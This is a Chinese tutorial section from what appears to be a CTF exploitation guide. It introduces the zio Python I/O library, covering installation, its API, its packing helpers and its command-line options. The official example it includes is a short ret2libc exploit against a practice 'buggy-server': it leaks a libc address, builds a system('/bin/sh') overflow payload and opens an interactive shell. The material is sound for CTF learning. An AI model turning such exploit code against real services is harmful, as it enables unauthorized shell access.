2.4.2 zio

zio 简介

zio 是一个易用的 Python io 库,在 Pwn 题目中被广泛使用,zio 的主要目标是在 stdin/stdout 和 TCP socket io 之间提供统一的接口,所以当你在本地完成 利用开发后,使用 zio 可以很方便地将目标切换到远程服务器。

zio 的哲学:

  1. from zio import *
  2. if you_are_debugging_local_server_binary:
  3. io = zio('./buggy-server') # used for local pwning development
  4. elif you_are_pwning_remote_server:
  5. io = zio(('1.2.3.4', 1337)) # used to exploit remote service
  6. io.write(your_awesome_ropchain_or_shellcode)
  7. # hey, we got an interactive shell!
  8. io.interact()

官方示例:

  1. from zio import *
  2. io = zio('./buggy-server')
  3. # io = zio((pwn.server, 1337))
  4. for i in xrange(1337):
  5. io.writeline('add ' + str(i))
  6. io.read_until('>>')
  7. io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + "A" * 49 + "\nshow\n")
  8. io.read_until('A' * 49)
  9. libc_base = l32(io.read(4)) - 0x1a9960
  10. libc_system = libc_base + 0x3ea70
  11. libc_binsh = libc_base + 0x15fcbf
  12. payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh)
  13. io.write('info ' + payload + "\nshow\nexit\n")
  14. io.read_until(">>")
  15. # We've got a shell;-)
  16. io.interact()

需要注意的的是,zio 正在逐步被开发更活跃,功能更完善的 pwntools 取代,但如果你使用的是 32 位 Linux 系统,zio 可能是你唯一的选择。而且在线下赛中,内网环境通常都没有 pwntools 环境,但 zio 是单个文件,上传到内网机器上就可以直接使用。

安装

zio 仅支持 Linux 和 OSX,并基于 python 2.6, 2.7。

  1. $ sudo pip2 install zio

termcolor 库是可选的,用于给输出上色:$ sudo pip2 install termcolor

使用方法

由于没有文档,我们通过读源码来学习吧,不到两千行,很轻量,这也意味着你可以根据自己的需求很容易地进行修改。

总共导出了这些关键字:

  1. __all__ = ['stdout', 'log', 'l8', 'b8', 'l16', 'b16', 'l32', 'b32', 'l64', 'b64', 'zio', 'EOF', 'TIMEOUT', 'SOCKET', 'PROCESS', 'REPR', 'EVAL', 'HEX', 'UNHEX', 'BIN', 'UNBIN', 'RAW', 'NONE', 'COLORED', 'PIPE', 'TTY', 'TTY_RAW', 'cmdline']

zio 对象的初始化定义:

  1. def __init__(self, target, stdin = PIPE, stdout = TTY_RAW, print_read = RAW, print_write = RAW, timeout = 8, cwd = None, env = None, sighup = signal.SIG_DFL, write_delay = 0.05, ignorecase = False, debug = None):

通常可以这样:

  1. io = zio(target, timeout=10000, print_read=COLORED(RAW,'red'), print_write=COLORED(RAW,'green'))

内部函数很多,下面是常用的:

  1. def print_write(self, value):
  2. def print_read(self, value):
  3. def writeline(self, s = ''):
  4. def write(self, s):
  5. def read(self, size = None, timeout = -1):
  6. def readlines(self, sizehint = -1):
  7. def read_until(self, pattern_list, timeout = -1, searchwindowsize = None):
  8. def gdb_hint(self, breakpoints = None, relative = None, extras = None):
  9. def interact(self, escape_character=chr(29), input_filter = None, output_filter = None, raw_rw = True):

zio 里的 readwrite 对应到 pwntools 里就是 recvsend

另外是对字符的拆包解包,是对 struct 库的封装:

  1. >>> l32(0xdeedbeaf)
  2. '\xaf\xbe\xed\xde'
  3. >>> l32('\xaf\xbe\xed\xde')
  4. 3740122799
  5. >>> hex(l32('\xaf\xbe\xed\xde'))
  6. '0xdeedbeaf'
  7. >>> hex(b64('ABCDEFGH'))
  8. '0x4142434445464748'
  9. >>> b64(0x4142434445464748)
  10. 'ABCDEFGH'

lb 就是指小端序和大端序。这些函数可以对应 pwntools 里的 p32()p64()等。

当然你也可以直接在命令行下使用它:

  1. $ zio -h
  2. usage:
  3. $ zio [options] cmdline | host port
  4. options:
  5. -h, --help help page, you are reading this now!
  6. -i, --stdin tty|pipe, specify tty or pipe stdin, default to tty
  7. -o, --stdout tty|pipe, specify tty or pipe stdout, default to tty
  8. -t, --timeout integer seconds, specify timeout
  9. -r, --read how to print out content read from child process, may be RAW(True), NONE(False), REPR, HEX
  10. -w, --write how to print out content written to child process, may be RAW(True), NONE(False), REPR, HEX
  11. -a, --ahead message to feed into stdin before interact
  12. -b, --before don't do anything before reading those input
  13. -d, --decode when in interact mode, this option can be used to specify decode function REPR/HEX to input raw hex bytes
  14. -l, --delay write delay, time to wait before write

zio 在 CTF 中的应用

何不把使用 pwntools 的写的 exp 换成 zio 试试呢xD。